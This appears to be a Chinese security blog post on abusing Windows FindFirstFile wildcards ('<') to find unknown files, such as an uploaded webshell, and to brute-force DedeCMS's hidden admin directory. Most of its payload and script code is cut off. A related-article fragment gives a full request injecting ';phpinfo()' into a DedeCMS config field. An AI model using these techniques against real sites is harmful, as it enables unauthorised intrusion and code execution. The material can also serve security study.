早上看了先知论坛的这篇文章:解决DEDECMS历史难题–找后台目录 不得不说作者思路确实巧妙,作者巧妙的利用了Windows FindFirstFile和织梦程序代码中对上传图片的逻辑判断,成功在Windows环境下爆破出后台目录。可能一些人不了解Windows FindFirstFile,其实就是Windows在搜索文件时,使用到的一个winapi 函数,有时候我们找不到自己上传的马时,也可以利用它,请阅读下面一段解释:
目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5,然后下载文件的时候通过保存在数据库里的文件ID 读取出文件路径,一样也实现了文件下载,这样我们就无法直接得到我们上传的webshell 文件路径,但是当在Windows 下时,我们只需要知道文件所在目录,然后利用Windows 的特性就可以访问到文件,这是因为Windows 在搜索文件的时候使用到了FindFirstFile 这一个winapi 函数,该函数到一个文件夹(包括子文件夹) 去搜索指定文件。
利用方法很简单,我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可,不过要注意的一点是,只使用一个“<”或者“>”则只能代表一个字符,如果文件名是12345或者更长,这时候请求“1<”或者“1>”都是访问不到文件的,需要“1<<”才能访问到,代表继续往下搜索,有点像Windows的短文件名,这样我们还可以通过这个方式来爆破目录文件了。
PS:这两段话出自《代码审计–企业级Web代码安全架构》一书。感觉后面一段话有些问题,在实际测试中用“<”或者“<<”都可以读到文件名很长的文件,而作者说“<”只能代表一个字符。
我们可以尝试一下,新建两个文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php,内容如下:
1 | # 5149ff33ebec0e6ad37613ea30694c07.php |
1 | # demo.php |
访问 http://localhost/demo.php?file=5< ,成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。
下面我们再来看看如何使用这种方式,快速爆破处dedecms后台。代码逻辑,先知的 这篇文章 已经讲的很细了,这里直接看具体payload:
1 | POST /tags.php HTTP/1.1 |
可以看到目录文件存在和不存在,返回结果是不一样的,所以我们可以用python写个简单的爆破程序:
1 | #!/usr/bin/env python |
演示结果:
相关文章:
-
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16POST /dede/sys_info.php HTTP/1.1
Host: 192.168.1.9
Content-Length: 83
Cache-Control: max-age=0
Origin: http://192.168.1.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.1.9/dede/sys_info.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; PHPSESSID=emnm2cuctlis1gnojfi13i5oq5; _csrf_name_c2d645b4=8f669d8135561710f0db31a6b0e7d3f7; _csrf_name_c2d645b4__ckMd5=defec9cad81eeb2f; DedeUserID=1; DedeUserID__ckMd5=e6a4f48d7f75fbde; DedeLoginTime=1519716147; DedeLoginTime__ckMd5=8fec3be8c5b99085
Connection: close
token=c9755b5e36d4f8e9824bd44dd5ec906a&dopost=save&edit___cfg_ftp_port=21;phpinfo()也可以通过编辑
系统=>防采集串混淆
然后访问www/data/downmix.data.php文件即可